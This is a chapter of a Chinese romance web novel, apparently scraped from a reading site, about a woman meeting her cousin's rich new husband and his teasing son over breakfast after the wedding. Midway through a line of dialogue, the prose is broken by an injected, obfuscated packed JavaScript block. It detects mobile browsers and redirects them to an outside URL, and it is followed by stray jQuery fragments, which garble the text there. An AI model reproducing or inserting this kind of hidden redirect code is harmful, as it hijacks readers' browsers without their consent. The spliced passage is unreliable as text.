3. 第三章 小阿姨

作品:《白日暖阳

    白世涛与蒋蓉瑶两人都是二婚,是以没有举办正式的婚礼,只办了场所谓的婚宴,既是让双方朋友家人简单聚聚,也是让众人认认脸,再者,真正知根知底的亲朋也都明白,以白世涛的身份与权势,他与蒋蓉瑶之间也就是各取所需的关系罢了,白世涛并不会让她成为白家真正说得上话的女主人。


    不过,就是这简单的一场婚宴,也足够让宋暖叹为观止了,果然,有钱人所谓的“简单”,与她一个寻常人认知里的简单,是不能化为等号的。


    昨晚婚宴PARTY结束得晚,宋暖随着蒋蓉瑶一块儿住在了这处酒店楼上的客房中,当时她并未多留意周围,今天一早她起床后拉开窗帘,无意中往窗外扫了一眼,顿时瞳孔地震,心里卧了个大槽。


    这,这,这叫做酒店真的合适吗?这明明该称之为庄园的好不好?


    从她所在的客房窗户望出去,前面是一片茂密的植被,周围环绕着一条健身跑道,左边前后是健身设施与儿童游乐场所,右边有一个露天游泳池,远处还有个高尔夫球场。


    她昨晚到酒店时已经有些晚了,三月初的帝都早已夜幕降临,她也是赶时间,没有那个闲情逸致打量这处酒店,这会儿她才后知后觉的反应过来,这地处帝都市郊的酒店能被白家选中作为婚宴场所,又怎么可能简单得了?


    可,这样一座占地面积如此广袤,设施又如此完善的地方,怎么也不能只称之为酒店吧?


    宋暖摇了摇头,果然,有钱人的世界不是她所能想象得了的。


    就在宋暖进行着自我深度剖析怀疑人生时,她放置在会客区的手机响了起来,她顺手捞起一看,果不其然,是她那表姐蒋蓉瑶。


    此时的蒋蓉瑶已经做完了每日晨起的日常保养,又化了个精致的淡妆,才不紧不慢的约宋暖去顶楼的餐厅吃早餐。


    宋暖简单收拾了一番,到达顶楼餐厅后,等了足足有一刻钟,才见到姗姗来迟的新晋豪门贵妇蒋蓉瑶蒋大小姐。


    蒋蓉瑶见到宋暖简单的妆容与衣着,她一边施施然的坐下,一边埋汰道,“你怎么能这么不修边幅的?”


    是还存着昨天的那股怨气未消呢。


    蒋蓉瑶虽是宋暖的表姐,但比宋暖大了足有十五岁之多,如今四十岁的年纪,得益于先天底子好,后天保养得当,看着就像是三十出头的模样,两表姐妹坐在一块儿,倒也是各有各的养眼之处。


    其实这次并不是蒋蓉瑶第一次结婚,她早已没有了年少时的憧憬与不切实际的幻想,但不可否认的,这是她非常看重的一段婚姻。


    蒋蓉瑶自小就对自己的要求特别高,一向是走高贵淑女的路线,她择偶的目标也很明确,以及,功利。后来在她二十七岁那年,她嫁给了当时小有家底的前夫,过上了圈中贵妇的生活,本来倒也算安逸顺遂,可谁知,六年前,前夫投资失败,随之而来的是接二连三的爆雷,最终在五年前,前夫申请了破产,两人的婚姻也就这样走到了尽头。


    当初她嫁给前夫时,前夫年纪不小了,膝下已经有了一儿一女,并不想再多添孩子了,所以多年来她并未生养,也没有子女的牵扯,两人一拍两散后,五年来倒也没有纠葛。


    两年前,蒋蓉瑶在一个饭局上认识了永达集团的董事长白世涛,那时蒋蓉瑶就对白世涛很有好感,这也很正常,白世涛的身家地位可以算得上是真正的上流社会中中流砥柱般的存在了,正合了蒋蓉瑶的择偶偏好,可那次饭局结束后,两人并无交集,她也自知自己是攀不上白家这样的豪门世家的,因此并没有多作肖想。


    然而,一年前机缘巧合,两人又再次遇上了,那时据说天时地利人和,天雷勾了地火,一发不可收拾,之后两人交往了一年左右,很快就决定了要结婚。


    白世涛如今已五十有六,膝下有一儿子,常年居住在美国,蒋蓉瑶要是嫁进白家,只要哄好了白世涛,家里的一切相当于是她说了算的。


    可白家在国内的家世地位摆在那里,多的是上流社会里同个圈层的朋友,还有白家的那些亲眷,都对蒋蓉瑶很有些看不上眼,蒋蓉瑶想要打破这层无形的阶级壁垒并不是件那么简单的事。


    而蒋蓉瑶自从第一次婚姻那会儿,不顾父母以断绝亲子关系为由反对,也坚持要嫁给有过婚史的大龄前夫,做人后妈时,就和家里人彻底闹翻了,这么多年来都不再来往,只逢年过节时礼节性的问候几句,转账一笔数额不菲的钱了事,关系并不亲厚,这次的婚宴她父母自然是不会出席的,只有宋暖一人作为女方亲戚到场。


    蒋蓉瑶先前之所以那么紧张的催宋暖,眼见宋暖晚到后怨怪不休,到现在过了一夜了也没个好脸色的,完全是顾虑自己在白家亲眷以及朋友们的眼中,是个没有娘家人帮衬撑腰的人,显得上不了台面,无端惹人话柄。


    她如今是讨得了白世涛一人的欢心,可一来白世涛的儿子白池礼回来了,听说短时间内不回美国了,以后怕是要在国内长住了,她一个继母毕竟是外来者,而且还根基不稳,到底是不能与白家名正言顺的长子嫡孙分庭抗礼,在白世涛面前博个孰轻孰重的;二来男女之间的新鲜感与激情说不准什么时候说散就散了,如果得不到白家家人与朋友们的接受,她觉得她的这场婚姻总有一种摇摇欲坠感。


    所以,经过一个晚上,蒋蓉瑶憋着的一口气还没有顺畅呢。


    宋暖低头看了看自己的衣着,一件蓝灰色的薄款羊绒衫,搭配一件铅灰色的亮色风衣,过肩的长发绑了个慵懒的丸子头,简单的妆容不会喧宾夺主但也不至于够得上失礼之说,完全没问题啊,这完全是蒋大小姐醉翁之意不在酒嘛。


    “是,是,是,表姐你说得对,我哪儿能和光彩照人的你相比啊,就是选男人的眼光也不及你万分之一啊。”宋暖嬉皮笑脸,毫不走心的奉承。


    这倒是马屁拍到了点子上,蒋蓉瑶自来认为她能嫁给白世涛是她的火眼睛睛与手段高明,当下她的脸色缓和下来,念叨着,“所以,你跟在我身边好好学学,别再像个傻子似的,两年多来只会心心念念的围着一个男人转悠,到头来什么都没得到,还躲什么似的灰溜溜的从申城来了帝都,你说,你这都叫什么事儿啊。”


    说到这个,宋暖的笑脸一僵,她抿了抿唇,神情低落了下来。


    蒋蓉瑶见此,皱了皱眉,烦躁的一挥手,“算了,算了,不说这个了,说了你不开心,我也觉得晦气,总之,你以后给我眼睛睁大点,遇到什么男人先带来给我过过眼,我来帮你把把关,就你这恋爱脑的,靠不住。”


    “嗯。”宋暖闷闷的应了声。


    蒋蓉瑶给两人各添了一杯茶水,又给宋暖夹了一只虾饺,继续自顾安排着,“你晚点收拾收拾跟我和老白回家里去住,你说你一个人定什么酒店啊,像话吗?”


    宋暖抗议,“我又不是长期住酒店,我打算找房子的,等租到了房子就不住酒店了啊。”


    蒋蓉瑶剜了她一眼,“有我在帝都,还能让你一个人住酒店?你一个人租房子住,那我算什么了?我怎么和小姨交代?别废话了,跟我回去住。”


    宋暖大眼睛“滴溜”一转,想到什么,她偷偷一笑,一本正经的晓以大义道,“姐,你这可是新婚啊,我杵在你家当电灯泡合适吗?要是影响了你和姐夫蜜里调油的感情,我该当何罪啊?你看我多深明大义是不是,还是住酒店得了。”


    蒋蓉瑶给宋暖又舀了一碗燕窝粥,放到她面前,勾着唇角洞察秋毫的睨着她道,“这点你放心,别墅足够的大,多住十个你也不影响什么,你乖乖的跟我回去住,别废话了。”


    宋暖嘟了嘟嘴,不满的作垂死挣扎,“你那里那么偏,我出入多不方便啊。”


    白家的别墅地处帝都市郊,占地面积广,就是从正门口进入到别墅区,少说也要有个五六分钟的车程了,豪华是豪华了,富贵是富贵了,可缺点也很明显,那里地处偏僻,来回一趟市区多不方便啊。


    而且,关键是,她早已成年了,可不想天天待在她姐的眼皮子底下,做什么都束手束脚的,还要被她姐时不时的来个360度无死角的各种嫌弃教育。


    这能是人过的日子么?


    “行了,等你找到工作,我给你在公司附近安排个住的地方,总行了吧,”蒋蓉瑶优雅的咬了口黑松露凤眼饺,想起什么,又道,“对了,你住在我这里的这段时间,有空跟着司机练练车,过两天从车库里挑量车去开,在帝都,还是自己开车方便些。”


    “哦。”宋暖此时一门心思都在想着要快点找到工作,好早日脱离她姐这个控制欲旺盛的魔掌,随口漫不经心的应着。


    蒋蓉瑶搅了搅自己面前的燕窝粥,眼中的思量渐深,她舀了一小勺粥送入口中,慢慢咀嚼后吞落肚腹,这才算是盘算完了,然后她状似不经意的开口,“你在申城时不是做商场运营推广这块的吗?有没有兴趣到永达购物中心做你的本行?”


    “啊?”宋暖正盘算着自己的小九九呢,突闻蒋蓉瑶的话,她一口虾饺梗在了喉咙口,刚发出一个字,就被呛得剧烈的咳嗽了起来。


    然后,毫不意外的,又惹来了蒋蓉瑶的一个嫌弃白眼。


    蒋蓉瑶一边嫌弃一边给宋暖倒了一杯茶水,刚想再开口,眼角余光瞥到进入餐厅的一道身影,她到口的话辗转几番,终究咽了下去,只低声道,“你自己好好考虑考虑。”


    ___________________________


    白家父子俩都有晨练的习惯,白世涛今天到楼下时见到白池礼的身影,很有些高兴,自从白池礼高中毕业出国后,并不常回国,他们父子俩已经有些年头没在一块儿跑步了,晨跑完了后,白世涛的兴致还很高,邀了儿子一块儿吃早餐。


    两人各自洗漱完一块儿乘电梯上楼,白世涛随口闲聊,“安娜怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136082|196288||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没和你一块儿回来?”


    白池礼双手插兜,随意一站,对着光可鉴人的电梯镜面勾起一抹讽刺的笑,“那您要问她了,她的行程可与我无关。”


    白世涛眉头微蹙,端着老父亲的姿态训斥道,“你能不能稍微关心一下安娜,对安娜好点了?”


    白池礼看向他,嘴角的那抹讽刺笑意转为了玩世不恭,他有些遗憾的摇了摇头,出口的话是气死人不偿命的不羁,“很遗憾,不能,我可忙着呢。”


    “你忙什么忙?别以为我不知道,你在美国是怎么个游手好闲的德性,”白世涛眉间的褶皱更深,他一边数落一边交代,“你现在回了国内,既然短时间内都不打算去美国了,就给我安份点,明天就跟我到永达上班。”


    白池礼想也不想的就回绝,“这段时间我可没空,我还约了清彦,秦易,还有向东聚聚呢。”


    白世涛不满的哼哼,“你说你和沈家那小子这么多年的朋友了,怎么一点儿都没学到人身上的稳重与踏实呢。”


    白池礼不以为耻的耸了耸肩,“哦,那可能是因为我没有像清彦那样,有个做大法官的爹吧。”


    “你。。。”白世涛瞪着他,胸口上下起伏着,要不是得益于他保养得当,他觉得自己分分钟要被这臭小子给气死了。


    过了半晌,白世涛终于喘匀了气,电梯到达顶楼餐厅,两人一边走出电梯,白世涛一边还不解气的小声抱怨,“看看你妈把你教育成什么样了。”


    话刚落音,白池礼兜里的手机响了起来,他掏出来一看,继而笑了,朝白世涛扬了扬手,“我妈的电话,您要不要和她探讨一下我的教育问题?”


    白世涛一顿,随即不自然的挪开目光,“我先进去了,你动作快点,别聊太久。”


    说完,他头也不回的进了餐厅,多留一秒都没有。


    白池礼看着他假装镇定实则遁走的背影,嘴角的那抹讽刺弧度又再次浮现出来,连眼内都添了一抹讥讽与深意,看着人进入了餐厅,他才不紧不慢的接起手机,并朝走廊另一头的安静处走去。


    ___________________________


    白世涛走进餐厅,蒋蓉瑶立即为他张罗点心,又亲自给他倒了一杯热茶,白世涛接过喝下几口,这才舒缓出一口气,平复下刚才突兀而起的紧张与下意识的逃避。


    蒋蓉瑶没察觉出他的异样,闲话家常道,“你怎么不叫小白一块儿吃早餐?”


    “他在外面接个电话,一会儿就进来。”白世涛放下杯子的手还有些不自然。


    “哦,那就好,小白难得回来,你可要多多关心关心他啊。”作为后妈,蒋蓉瑶有经验,场面上的样子还是要做做的。


    “哼,那小子,除了会惹我生气外,什么都不会。”白世涛夹起一块鹅肝吐司,送入口中后,不满的嘀咕。


    蒋蓉瑶不傻,她并不接这个话头,而是说了个旁的,“对了,老白,我刚才在和小暖说,让她最近就住在我们家,慢慢再找工作和房子,住家里总比住酒店来得舒服,你说好不好?”


    “好啊,有小暖陪你,你也不会喊无聊了。”家里地方大,多一个人也没所谓,白世涛没意见。


    “小暖多年没自己独自开过车了,我打算让司机带着小暖先练练手,在帝都生活,没个车可不方便。”蒋蓉瑶随口聊着天。


    “嗯,家里车库那些车,小暖看着喜欢,随便拿去开,”白世涛说着,眼角余光扫到某个散漫的走进餐厅,没个正行的人,刚才的那口气他还觉得不顺着呢,他指着人朝两人道,“叫什么司机啊,他最空,反正闲着也是闲着,让他带小暖练车。”


    宋暖舀粥的手一顿,看向走进来的白池礼,她本能的想要拒绝,可话到嘴边还没来得及出口,已经被白池礼给抢了先。


    白池礼自顾拉开宋暖对面的椅子坐下来,对上她瞠目结舌的表情,他眼眸一转,勾了勾唇角,顽劣一笑,点头应道,“好啊,荣幸之至,那就请多多关照咯,小、阿、姨。”


    最后三个字咬字清晰字正腔圆,听着莫名有股子揶揄挑衅之感。


    说着,白池礼还向宋暖举了举杯,端的是气度非凡,虽然只是个空杯子而已。


    “。。。”


    荣什么幸?关什么照?被他叫上一声小阿姨,宋暖觉得自己手臂上的鸡皮疙瘩都快冒出来了。


    宋暖没好气的瞪着他,一脸的抗拒,她才不要让他来陪她练车呢,这人指不定藏着一肚子什么坏水,她还想多活几年呢。


    白池礼对上宋暖气鼓鼓的抗拒意味浓厚的一张小脸,他不动声色的挑了挑眉,笑得那叫一个如沐春风,好似昨天初遇时,他周身萦绕着的清冷寡淡的疏离气质只是她的一个错觉罢了。


    WTF???


    笑什么笑?


    宋暖不满的腹诽,觉得眼前的人不止可恶,还莫名其妙。